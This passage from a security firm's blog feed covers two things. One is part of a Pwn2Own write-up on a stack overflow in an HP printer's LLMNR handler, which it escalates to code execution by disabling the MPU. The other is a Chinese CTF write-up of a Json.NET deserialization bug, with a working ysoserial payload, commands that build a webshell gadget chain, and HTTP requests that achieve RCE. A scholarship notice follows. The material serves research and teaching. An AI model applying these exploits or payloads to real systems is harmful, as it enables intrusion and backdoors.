consume_labels(llmnr_packet-&gt;qname,result,...); ... } </code></pre> <p>Here you can see that when HP processes LLMNR packets, it passes a fixed size buffer to consume_lables. <code class="language-plaintext highlighter-rouge">consume_lables</code> is used to process DNS labels, and the fixed buffer is used to store the results.</p> <pre><code class="language-cpp=">int __fastcall consume_labels(char *src, char *dst, llmnr_hdr *a3) { int v3; // r5 int v4; // r12 unsigned int len; // r3 int v6; // r4 char v7; // r6 bool v8; // cc int v9; // r0 unsigned __int8 chr; // r6 int result; // r0 v3 = 0; v4 = 0; len = 0; v6 = 0; while ( 1 ) { chr = src[v3]; //-------------[1] if ( !chr ) break; if ( (int)len &lt;= 0 ) { v8 = chr &lt;= 0xC0u; if ( chr == 0xC0 ) { v9 = src[v3 + 1]; v6 = 1; v3 = 0; src = (char *)a3 + v9; } else { len = src[v3++]; v8 = v4 &lt;= 0; } if ( !v8 ) dst[v4++] = '.'; } else { v7 = src[v3++]; len = (char)(len - 1); dst[v4++] = v7; //----------[2] } } result = v3 + 1; dst[v4] = 0; if ( v6 ) return 2; return result; } </code></pre> <p>We can see that <code class="language-plaintext highlighter-rouge">[1]</code> will get the label length and then process it according to the type. <code class="language-plaintext highlighter-rouge">[2]</code> is used as a case of length. There is no length check here, and the label is directly written into the dst buffer, leading to stack overflow. At this point, we thought we could exploit it in the similar way as Canon. However, when we were writing the exploit, we found that HP printers have more protection mechanisms.</p> <h4 id="protection-1">Protection</h4> <ul> <li>No Stack Guard</li> <li><strong>XN(DEP)</strong></li> <li><strong>Memory Protect Unit (MPU)</strong></li> <li>No ASLR</li> </ul> <p>In this case, XN and MPU memory protection mechanisms are enabled, and this vulnerability has more restrictions. We <strong>can only overflow about 0x100 bytes without null byte</strong>, which significantly restricts our ROP and makes it more challenging. We need to find other vulnerabilities or methods to achieve our goal.</p> <p>After a while, we started thinking about how HP printers implement XN(DEP) and MPU. Let’s review HP RTOS:</p> <ul> <li>Linked with application code into single image</li> <li>Many tasks run <ul> <li>in the same virtual address space</li> <li>in kernel-mode</li> </ul> </li> </ul> <p>After reviewing, we thought, can we bypass it by understanding the MMU and MPU in HP RTOS?</p> <h4 id="mmu-in-hp-m283fdw">MMU in HP M283fdw</h4> <p>HP M283fdw uses one-level page table translation and each translation table entry for translating a 1MB section. The translation table is located at <strong>0x4003c000</strong>.</p> <p><img src="/assets/img/blog/20231005/23.jpg" alt="" /></p> <p>Each translation table entry corresponds to a physical address and the permissions of the section. The CPU determines whether it can be executed or modified according to the entry. The permissions related here are AP, APX, and XN. We can also map any physical address through this translation table entry.</p> <p><img src="/assets/img/blog/20231005/24.jpg" alt="" /></p> <p>Generally, we can modify the translation table entry through ROP if we have stack overflow under high privileges. But when we tried to write directly to the translation table, the HP printer crashed.</p> <p><img src="/assets/img/blog/20231005/25.jpg" alt="" /></p> <p>We checked and found that the leading cause of the memory fault exception is that Memory Protection Unit(MPU) protects the translation table.</p> <h4 id="mpu-in-hp-m283fdw">MPU in HP M283fdw</h4> <p>The MPU enables you to partition memory into regions and set individual protection attributes for each regions. It is an entirely different mechanism from MMU and is often found in IoT devices. HP enables MPU at boot and defines permissions for each region, so we cannot manipulate the page table.</p> <p><img src="/assets/img/blog/20231005/26.jpg" alt="" /></p> <p>After a long time of reverse engineering and referencing the <a href="https://developer.arm.com/documentation/ddi0403/d/System-Level-Architecture/System-Address-Map/Protected-Memory-System-Architecture--PMSAv7/Register-support-for-PMSAv7-in-the-SCS?lang=en#BEHJFJDI">ARM Manual</a>, we found that the MPU can be turned off by clearing MPU_CTRL. We found that the location is 0xE0400304, slightly different from ARM’s spec.</p> <p><img src="/assets/img/blog/20231005/27.jpg" alt="" /></p> <h4 id="exploitation">Exploitation</h4> <p>After understanding HP’s MMU and MPU mechanism, we can easily use ROP to turn off the MPU and successfully modify the translation table entry. We can arbitrarily modify the code of any service, and we finally chose <a href="https://en.wikipedia.org/wiki/Line_Printer_Daemon_protocol">Line Printer Daemon(LPD)</a>. We modified it into a backdoor, read more payloads to the specified location, and finally executed the shellcode.</p> <p>But there is one thing that must be mentioned. After the translation table entry and LPD code are overwritten, be sure to <strong>flush TLB</strong> and <strong>invalidate I-cache and D-cache</strong>. Otherwise, it is very likely to execute in the old one, causing the exploit to fail.</p> <p>Flush TLB</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>flush_tlb: mov r12, #0 mcr p15, 0, r12, c8, c7, 0 </code></pre></div></div> <p>Invalidate I-cache</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>disable_icache: mrc p15, 0, r1, c1, c0, 0 bic r1, r1, #(1 &lt;&lt; 12) mcr p15, 0, r1, c1, c0, 0 </code></pre></div></div> <h4 id="exploitation-step-1">Exploitation Step</h4> <ul> <li>Trigger stack overflow in LLMNR and overwrite return address</li> <li>Use limited ROP to <ul> <li>disable MPU</li> <li>modify translation table entry and get read-write execute permission</li> <li>flush TLB</li> <li>modify the code of LPD</li> <li>invalidate I-cache and D-cache</li> </ul> </li> <li>Use modified LPD to read our shellcode and jump to shellcode</li> </ul> <h4 id="pwn2own-austin-2021-2">Pwn2Own Austin 2021</h4> <p>When we could execute the shellcode, we only had one week left, and we finally chose to use the exact string to display <code class="language-plaintext highlighter-rouge">Pwned by DEVCORE</code> on the LCD.</p> <p><img src="/assets/img/blog/20231005/28.jpg" alt="" /></p> <p>After that, we also tried to change the backdoor to the debug console to facilitate many functions, such as viewing memory information, playing music, etc.</p> <iframe width="560" height="315" src="https://www.youtube.com/embed/S9TkvaAmyMw" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe> <p><a href="https://twitter.com/fsecurelabs">F-Secure Labs</a> used the function of playing music to present it at that time. It is fascinating. You can go <a href="https://youtu.be/c82uFBdTvII?t=1263">here</a> to look at the situation at the Pwn2Own.</p> <h3 id="result">Result</h3> <p>In Pwn2Own Austin 2021, we got 2nd place after pwning other devices and printers. We had a good experience and learned some new things.</p> <p><img src="/assets/img/blog/20231005/29.jpg" alt="" /></p> <h2 id="mitigation">Mitigation</h2> <h3 id="update">Update</h3> <p>The first is to update regularly. All the printers mentioned have been patched. It is often ignored. We usually find printers lack of update for several years and even leave the default password directly in the corporate intranet.</p> <h3 id="disable-unused-service">Disable unused service</h3> <p>Another mitigation is to turn off services that are not in use as much as possible. Most printers default enable too many services that are usually unused. We even think that you can turn off the discovery service, just open the service you want to use.</p> <h3 id="firewall">Firewall</h3> <p>It would be better if you could apply a firewall. Most printers provide related functions.</p> <h2 id="summary">Summary</h2> <p>With code execution on the printers, in addition to printing things on the LCD, we can use the printer to steal confidential information, whether it is confidential documents or some credential. We can also use the printer for <a href="https://en.wikipedia.org/wiki/Network_Lateral_Movement">lateral movement</a>, and because it is hard to detect, making it an excellent target for the red team.</p> <p>By the way, the protocols of the discovery service series on many printers are often vulnerable. If you want to find vulnerabilities in printers or other IoT devices, you can look in this direction.</p> <h2 id="to-be-continue">To Be Continue</h2> <p>We also found several vulnerabilities in the printer series at <a href="https://www.thezdi.com/blog/2022/8/29/announcing-pwn2own-toronto-2022-and-introducing-the-soho-smashup">Pwn2Own Toronto 2022</a> last year. We will be releasing detailed information soon, so stay tuned for Part II.</p> <h2 id="reference">Reference</h2> <ul> <li><a href="https://labs.withsecure.com/assets/BlogFiles/Printing-Shellz.pdf">https://labs.withsecure.com/assets/BlogFiles/Printing-Shellz.pdf</a></li> <li><a href="https://foxglovesecurity.com/2017/11/20/a-sheep-in-wolfs-clothing-finding-rce-in-hps-printer-fleet/">https://foxglovesecurity.com/2017/11/20/a-sheep-in-wolfs-clothing-finding-rce-in-hps-printer-fleet/</a></li> <li><a href="https://research.checkpoint.com/2018/sending-fax-back-to-the-dark-ages/">https://research.checkpoint.com/2018/sending-fax-back-to-the-dark-ages/</a></li> </ul> https://devco.re/blog/2023/10/05/your-printer-is-not-your-printer-hacking-printers-pwn2own-part1-en/ https://devco.re/blog/2023/10/05/your-printer-is-not-your-printer-hacking-printers-pwn2own-part1-en Thu, 05 Oct 2023 00:00:00 +0800 HITCON 2023 x DEVCORE Wargame: My todolist Write-up <p>為了 HITCON 2023 活動,我今年也在 DEVCORE 攤位上準備了三題趣味性質的 Wargame 題目讓參賽者在聽完議程的空閒之餘可以享受一下親自動手解題的快樂,而除了我所準備的題目以外,包括其他所有題目都可以在以下的 GitHub repository 裡找到:<a href="https://github.com/DEVCORE-Wargame/HITCON-2023">https://github.com/DEVCORE-Wargame/HITCON-2023</a>。</p> <p>這次準備的題目分別是 What’s my IP、Submit flag 和 My todolist。第一個題目 What’s my IP 只要看程式碼就會知道是個 HTTP header 偽造 IP 加上 SQL Injectin 利用的簡單題,只是活動期間參賽者們得憑著經驗與駭客直覺以黑箱方式找出弱點的存在。第二個題目 Submit flag 就是一個經典的 Race Condition,是一個老梗但也是滲透測試中經常被忽略的細節,為了提高成功率從而避免讓參加者浪費太多時間,我特地在中間插入不必要的 sleep,雖然可能讓題目變得過於簡單,希望至少能提醒大家回想起還存在這種弱點就太好了。</p> <p>最後一個題目也是本篇文章想要和大家分享的主題:My todolist。從結論而言,這是一個簡單的 Json.NET 反序列化漏洞的白箱題目,存在漏洞的位置是在程式碼 <a href="https://github.com/DEVCORE-Wargame/HITCON-2023/blob/main/challenges/web/My%20todolist/MyTodolist/MyTodolist/Extensions/WebExtension.cs#L20">Extensions/WebExtension.cs</a> 的第 20 行,但我想稍微和大家分享題目的由來。</p> <p>題目起源於我曾經在某些程式中看過類似以下的 Deep Copy 實作:</p> <div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">public</span> <span class="k">static</span> <span class="n">T</span> <span class="n">Clone</span><span class="p">&lt;</span><span class="n">T</span><span class="p">&gt;(</span><span class="k">this</span> <span class="n">T</span> <span class="n">source</span><span class="p">)</span> <span class="p">{</span> <span class="n">JsonSerializerSettings</span> <span class="n">settings</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">JsonSerializerSettings</span><span class="p">()</span> <span class="p">{</span> <span class="n">TypeNameHandling</span> <span class="p">=</span> <span class="n">TypeNameHandling</span><span class="p">.</span><span class="n">All</span> <span class="p">};</span> <span class="k">return</span> <span class="p">(</span><span class="n">T</span><span class="p">)</span> <span class="n">JsonConvert</span><span class="p">.</span><span class="nf">DeserializeObject</span><span class="p">(</span><span class="n">JsonConvert</span><span class="p">.</span><span class="nf">SerializeObject</span><span class="p">(</span><span class="n">source</span><span class="p">,</span> <span class="n">settings</span><span class="p">),</span> <span class="n">settings</span><span class="p">);</span> <span class="p">}</span> </code></pre></div></div> <p>我們都知道當 DeserializeObject 的來源字串可以控制並且開啟 TypeNameHandling 時,我們可以輕易利用反序列化能初始化任意物件的特性執行任意程式碼或系統指令,然而在 Deep Clone 的使用情境下,來源字串是 SerializeObject 的輸出結果,這代表著任何標記物件名稱的 $type 屬性也是由 Json.NET 所控制而非由我們控制,所以這表示這段程式碼應該是無法被利用的才對,除非,若我們可以覆蓋 $type 屬性的話呢?</p> <p>這個疑問勾起了我的好奇心,因此讓我決定進行一些嘗試,當我嘗試用以下程式碼序列化一個 Dictionary 物件時,我得到了一個有趣的結果。</p> <div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">Dictionary</span><span class="p">&lt;</span><span class="kt">string</span><span class="p">,</span> <span class="kt">string</span><span class="p">&gt;</span> <span class="n">source</span> <span class="p">=</span> <span class="k">new</span> <span class="n">Dictionary</span><span class="p">&lt;</span><span class="kt">string</span><span class="p">,</span> <span class="kt">string</span><span class="p">&gt;();</span> <span class="n">source</span><span class="p">.</span><span class="nf">Add</span><span class="p">(</span><span class="s">"key"</span><span class="p">,</span> <span class="s">"value"</span><span class="p">);</span> <span class="n">JsonSerializerSettings</span> <span class="n">settings</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">JsonSerializerSettings</span><span class="p">()</span> <span class="p">{</span> <span class="n">TypeNameHandling</span> <span class="p">=</span> <span class="n">TypeNameHandling</span><span class="p">.</span><span class="n">All</span> <span class="p">};</span> <span class="kt">string</span> <span class="n">result</span> <span class="p">=</span> <span class="n">JsonConvert</span><span class="p">.</span><span class="nf">SerializeObject</span><span class="p">(</span><span class="n">source</span><span class="p">,</span> <span class="n">settings</span><span class="p">);</span> </code></pre></div></div> <p>結果:</p> <div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w"> </span><span class="nl">"$type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"System.Collections.Generic.Dictionary`2[[System.String, mscorlib],[System.String, mscorlib]], mscorlib"</span><span class="p">,</span><span class="w"> </span><span class="nl">"key"</span><span class="p">:</span><span class="w"> </span><span class="s2">"value"</span><span class="w"> </span><span class="p">}</span><span class="w"> </span></code></pre></div></div> <p>當我們序列化 Dictionary 時,我們所插入的任何 key 和 value 的 pair 都和 <code class="language-plaintext highlighter-rouge">$type</code> 屬性值在同一個層級,那假設我們 Dictionary 內含有值為 <code class="language-plaintext highlighter-rouge">$type</code> 的 key 時,會發生什麼事情?</p> <div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">Dictionary</span><span class="p">&lt;</span><span class="kt">string</span><span class="p">,</span> <span class="kt">string</span><span class="p">&gt;</span> <span class="n">source</span> <span class="p">=</span> <span class="k">new</span> <span class="n">Dictionary</span><span class="p">&lt;</span><span class="kt">string</span><span class="p">,</span> <span class="kt">string</span><span class="p">&gt;();</span> <span class="n">source</span><span class="p">.</span><span class="nf">Add</span><span class="p">(</span><span class="s">"$type"</span><span class="p">,</span> <span class="s">"System.Web.Security.RolePrincipal, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"</span><span class="p">);</span> <span class="n">JsonSerializerSettings</span> <span class="n">settings</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">JsonSerializerSettings</span><span class="p">()</span> <span class="p">{</span> <span class="n">TypeNameHandling</span> <span class="p">=</span> <span class="n">TypeNameHandling</span><span class="p">.</span><span class="n">All</span> <span class="p">};</span> <span class="n">JsonConvert</span><span class="p">.</span><span class="nf">DeserializeObject</span><span class="p">(</span><span class="n">JsonConvert</span><span class="p">.</span><span class="nf">SerializeObject</span><span class="p">(</span><span class="n">source</span><span class="p">,</span> <span class="n">settings</span><span class="p">),</span> <span class="n">settings</span><span class="p">);</span> </code></pre></div></div> <p>會得到一個例外錯誤:</p> <blockquote> <p>Newtonsoft.Json.JsonSerializationException: ‘Type specified in JSON ‘System.Web.Security.RolePrincipal, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a’ is not compatible with ‘System.Collections.Generic.Dictionary`2[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089’. Path ‘$type’, line 1, position 236.’</p> </blockquote> <p>若建立 debug 斷點將 JsonConvert.SerializeObject 的結果字串印出來會得到:</p> <div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w"> </span><span class="nl">"$type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"System.Collections.Generic.Dictionary`2[[System.String, mscorlib],[System.String, mscorlib]], mscorlib"</span><span class="p">,</span><span class="w"> </span><span class="nl">"$type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"System.Web.Security.RolePrincipal, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"</span><span class="w"> </span><span class="p">}</span><span class="w"> </span></code></pre></div></div> <p>其實從這段錯誤訊息就可以猜測出大致出錯的可能性,如果再稍微追入程式碼就會發現,我們設定的第二個 $type 確實成功讓 Json.NET 嘗試去覆蓋第一個 $type 指定的物件類型,但 Json.NET 在這段的處理會檢查第二個物件類型是否能夠相容於第一個物件類型,也就是檢查是否 assignable,若我們能找到某個類 Dictionary 物件可以成為 gadget 的話,這段程式碼也許將成為 exploitable。</p> <p>但要挖掘新的 gadget 十分困難,而且就算找到了,要作為 Wargame 題目也可能過於刁難,所以我這邊找到了一種變種情境,雖然是不常見的設定,但我覺得作為一道題目情境的話會非常有趣。</p> <p>這個題目情境的關鍵是 <a href="https://www.newtonsoft.com/json/help/html/deserializemetadatapropertyhandling.htm">MetadataPropertyHandling.ReadAhead</a> 這個設定值,當提供給 JsonConvert.DeserializeObject 的 JsonSerializerSettings 中有包含 MetadataPropertyHandling.ReadAhead 時,它會假設 $type 不是在第一個屬性值的位置,這會導致 Json.NET 先嘗試從頭到尾把 JSON 解析完並找出 $type 後才開始建立物件,在此情境下也會讓我們注入的第二個 $type 直接覆蓋第一個 $type 的值,所以假如程式碼改寫為如下的程式碼時,這個 Clone function 將會變得 exploitable。</p> <div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">Dictionary</span><span class="p">&lt;</span><span class="kt">string</span><span class="p">,</span> <span class="kt">string</span><span class="p">&gt;</span> <span class="n">source</span> <span class="p">=</span> <span class="k">new</span> <span class="n">Dictionary</span><span class="p">&lt;</span><span class="kt">string</span><span class="p">,</span> <span class="kt">string</span><span class="p">&gt;();</span> <span class="n">source</span><span class="p">.</span><span class="nf">Add</span><span class="p">(</span><span class="s">"you control the key"</span><span class="p">,</span> <span class="s">"you control the value"</span><span class="p">);</span> <span class="n">JsonSerializerSettings</span> <span class="n">settings</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">JsonSerializerSettings</span><span class="p">()</span> <span class="p">{</span> <span class="n">TypeNameHandling</span> <span class="p">=</span> <span class="n">TypeNameHandling</span><span class="p">.</span><span class="n">All</span><span class="p">,</span> <span class="n">MetadataPropertyHandling</span> <span class="p">=</span> <span class="n">MetadataPropertyHandling</span><span class="p">.</span><span class="n">ReadAhead</span> <span class="p">};</span> <span class="n">JsonConvert</span><span class="p">.</span><span class="nf">DeserializeObject</span><span class="p">(</span><span class="n">JsonConvert</span><span class="p">.</span><span class="nf">SerializeObject</span><span class="p">(</span><span class="n">source</span><span class="p">,</span> <span class="n">settings</span><span class="p">),</span> <span class="n">settings</span><span class="p">);</span> </code></pre></div></div> <p>我們可以來實際利用一個 gadget 進行 code execution 測試,這邊我使用 ysoserial.net 產生 RolePrincipal gadget 的 payload ( <code class="language-plaintext highlighter-rouge">ysoserial.exe -g RolePrincipal -f Json.Net -c calc</code> ),因為這個 gadget 只需要控制 JSON 一層的字串就可以執行指令,題目情境相對容易建構。</p> <p>測試執行:</p> <div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">Dictionary</span><span class="p">&lt;</span><span class="kt">string</span><span class="p">,</span> <span class="kt">string</span><span class="p">&gt;</span> <span class="n">source</span> <span class="p">=</span> <span class="k">new</span> <span class="n">Dictionary</span><span class="p">&lt;</span><span class="kt">string</span><span class="p">,</span> <span class="kt">string</span><span class="p">&gt;();</span> <span class="n">source</span><span class="p">.</span><span class="nf">Add</span><span class="p">(</span><span class="s">"$type"</span><span class="p">,</span> <span class="s">"System.Web.Security.RolePrincipal, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"</span><span class="p">);</span> <span class="n">source</span><span class="p">.</span><span class="nf">Add</span><span class="p">(</span><span class="s">"System.Security.ClaimsPrincipal.Identities"</span><span class="p">,</span> <span class="s">"AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAswU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIGNhbGMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw=="</span><span class="p">);</span> <span class="n">JsonSerializerSettings</span> <span class="n">settings</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">JsonSerializerSettings</span><span class="p">()</span> <span class="p">{</span> <span class="n">TypeNameHandling</span> <span class="p">=</span> <span class="n">TypeNameHandling</span><span class="p">.</span><span class="n">All</span><span class="p">,</span> <span class="n">MetadataPropertyHandling</span> <span class="p">=</span> <span class="n">MetadataPropertyHandling</span><span class="p">.</span><span class="n">ReadAhead</span> <span class="p">};</span> <span class="n">JsonConvert</span><span class="p">.</span><span class="nf">DeserializeObject</span><span class="p">(</span><span class="n">JsonConvert</span><span class="p">.</span><span class="nf">SerializeObject</span><span class="p">(</span><span class="n">source</span><span class="p">,</span> <span class="n">settings</span><span class="p">),</span> <span class="n">settings</span><span class="p">);</span> </code></pre></div></div> <p>嘗試執行以上程式碼後,成功彈出計算機! <img src="/assets/img/blog/20230918/1.png" alt="" /></p> <p>既然驗證此設定是可以 exploit 的,剩下就是包裝一個應用程式的情境,而最終趕出的成品就是 My todolist 這道題目。</p> <p>理論上直接使用 RolePrincipal 就能執行系統指令了,只是這個 exploit 執行後不會有任何指令回顯,而我們還需要嘗試找到並讀取 flag,為了後續更便利操作,我們可以嘗試將漏洞轉換成 web shell,詳細可以參考我的另一篇文章「<a href="https://devco.re/blog/2020/03/11/play-with-dotnet-viewstate-exploit-and-create-fileless-webshell/">玩轉 ASP.NET VIEWSTATE 反序列化攻擊、建立無檔案後門!</a>」,但這個方法的 gadget 是需要使用 BinaryFormatter 執行 OnDeserialization callback 進而觸發 gadget chain 的執行,但如果你有 clone 最新版本的 ysoserial.net 來自行編譯的話,會發現 help 訊息中多了一個新的參數 –bgc。</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>--bgc, --bridgedgadgetchains=VALUE Chain of bridged gadgets separated by comma (,). Each gadget will be used to complete the next bridge gadget. The last one will be used in the requested gadget. This will be ignored when using the searchformatter argument. </code></pre></div></div> <p>沒錯,為這個專案貢獻的研究者們成功找到 gadget chain 實現將 Json.NET 等需要 setter 類型的 gadget 的 formatter 轉換成 BinaryFormatter 的二次反序列化,從而可以執行更多的 gadget,其中當然就包括 ActivitySurrogateDisableTypeCheck 和 ActivitySurrogateSelectorFromFile 這兩個最重要的 gadget,我們也因此可以再次使用這個功能實現反序列化攻擊到 fileless webshell 的 exploit! 產生 payload 的指令:</p> <pre><code class="language-!">ysoserial.exe -g RolePrincipal -f Json.Net --bgc ActivitySurrogateDisableTypeCheck -c 1 ysoserial.exe -g RolePrincipal -f Json.Net --bgc ActivitySurrogateSelectorFromFile -c ".\ExploitClass.cs;dlls\System.dll;dlls\System.Web.dll" </code></pre> <p>最後題目只要在正常註冊後隨便新增一個 note 進行修改,再分別對兩個 payload 執行一次類似下面的請求,就可以達成有回顯的 RCE 了!</p> <p>Request 1:</p> <div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">POST</span> <span class="nn">/Api/UpdateTodo</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="na">Host</span><span class="p">:</span> <span class="s">localhost:8003</span> <span class="na">Content-Type</span><span class="p">:</span> <span class="s">application/x-www-form-urlencoded</span> <span class="na">Content-Length</span><span class="p">:</span> <span class="s">xx</span> <span class="na">Cookie</span><span class="p">:</span> <span class="s">&lt;session&gt;</span> uuid=00c3abe9-1f7c-4cda-8c24-60c59ac01f3f&amp;field=$type&amp;value=System.Web.Security.RolePrincipal,+System.Web,+Version%3d4.0.0.0,+Culture%3dneutral,+PublicKeyToken%3db03f5f7f11d50a3a </code></pre></div></div> <p>Request 2:</p> <div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">POST</span> <span class="nn">/Api/UpdateTodo</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="na">Host</span><span class="p">:</span> <span class="s">localhost:8003</span> <span class="na">Content-Type</span><span class="p">:</span> <span class="s">application/x-www-form-urlencoded</span> <span class="na">Content-Length</span><span class="p">:</span> <span class="s">xx</span> <span class="na">Cookie</span><span class="p">:</span> <span class="s">&lt;session&gt;</span> uuid=00c3abe9-1f7c-4cda-8c24-60c59ac01f3f&amp;field=System.Security.ClaimsPrincipal.Identities&amp;value=&lt;payload&gt; </code></pre></div></div> <p>Request 3:</p> <div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">POST</span> <span class="nn">/Api/MyProfile</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="na">Host</span><span class="p">:</span> <span class="s">localhost:8003</span> <span class="na">Content-Type</span><span class="p">:</span> <span class="s">application/x-www-form-urlencoded</span> <span class="na">Content-Length</span><span class="p">:</span> <span class="s">10</span> <span class="na">Cookie</span><span class="p">:</span> <span class="s">&lt;session&gt;</span> cmd=whoami </code></pre></div></div> https://devco.re/blog/2023/09/18/hitcon-2023-devcore-wargame-my-todolist-writeup/ https://devco.re/blog/2023/09/18/hitcon-2023-devcore-wargame-my-todolist-writeup Mon, 18 Sep 2023 00:00:00 +0800 視人才培育為己任 DEVCORE 全國資訊安全獎學金、資安教育活動贊助計畫即日起開放報名 <p>DEVCORE 今(30)日甫於輔仁大學舉辦「戴夫寇爾資訊安全獎學金」2023 年度頒獎典禮,共有 3 位資工系同學獲獎。同一時間,我們很高興地宣佈,今年度我們也將續辦「全國資訊安全獎學金」及「資安教育活動贊助計畫」,即日起開放報名!</p> <p>近年來,無論是政府或企業,在數位浪潮及雲世代的推波助瀾下,無不開始正視資安人才荒的困境。自 2012 年創立之初,DEVCORE 即秉持著提升台灣資安競爭力、讓世界更安全的初衷,將人才培育視為己任,透過參與教育部資安人才培育計畫、創辦 DEVCORE 實習生計畫、啟動戴夫寇爾資安獎學金、辦理資安教育活動贊助計畫等方式,協助資安人才茁壯成長。</p> <h3 id="devcore-全國資訊安全獎學金">DEVCORE 全國資訊安全獎學金</h3> <p>戴夫寇爾資安獎學金於 2020 年首次頒發,原為感念過去在學生時代時受到的各方資源及鼓勵,獎學金頒發範圍為經營團隊母校的輔仁大學及國立臺灣科技大學,後為培育更多有志於此的青年學子,我們於去年擴大獎學金範圍,開放全國各地的資安新銳報名申請,期待能推廣「駭客思維」、強化資安技能,並幫助在學學生了解資安產業生態及現況、降低學用落差,未來成為新一代的攻擊型資安人才,為資安產業注入新活力。</p> <p>「戴夫寇爾全國資訊安全獎學金」歡迎所有在資訊安全領域有出眾研究成果的學生報名申請,有意申請者須提出學習資安的動機與歷程,並繳交資安研究或比賽成果,我們將從中擇優選取 10 名,獲選者可獲最高 2 萬元的研究補助。詳細申請辦法如下:</p> <ul> <li>申請資格:全國各大專院校學生皆可以申請。</li> <li>獎學金金額/名額:每年度取 10 名,每名可獲得獎學金新台幣 20,000 元整,共計 20 萬元。如報名踴躍我們將視申請狀況增加名額。</li> <li>申請時程: <ul> <li>2023/8/30 官網公告獎學金計畫資訊</li> <li>2023/8/31 - 2023/9/30 開放收件</li> <li>2023/10/31 公布審查結果,並將於 11 至 12 月間頒發獎學金</li> </ul> </li> <li>申請辦法: <ul> <li>請依⽂件檢核表項次順序排列已附⽂件,彙整為⼀份 PDF 檔案,寄⾄ [email protected]。</li> <li>信件主旨及 PDF 檔案名稱請符合以下格式:[全國獎學⾦申請] 學校名稱_學號_姓名(範例:[全國獎學⾦申請] 輔仁⼤學_B11100000_王⼩美)。</li> <li>請申請⼈⾃我檢核並於申請⼈檢核區勾選已附⽂件,若⽂件不⿑或未確實勾選恕不受理申請。</li> </ul> </li> <li>須檢附文件: <ul> <li><a href="/assets/files/scholarship/戴夫寇爾全國獎學金申請表.pdf">本獎學⾦申請表</a></li> <li>在學證明</li> <li>最近⼀學期成績單</li> <li>學習資訊安全之動機與歷程⼼得⼀篇:字數 500 - 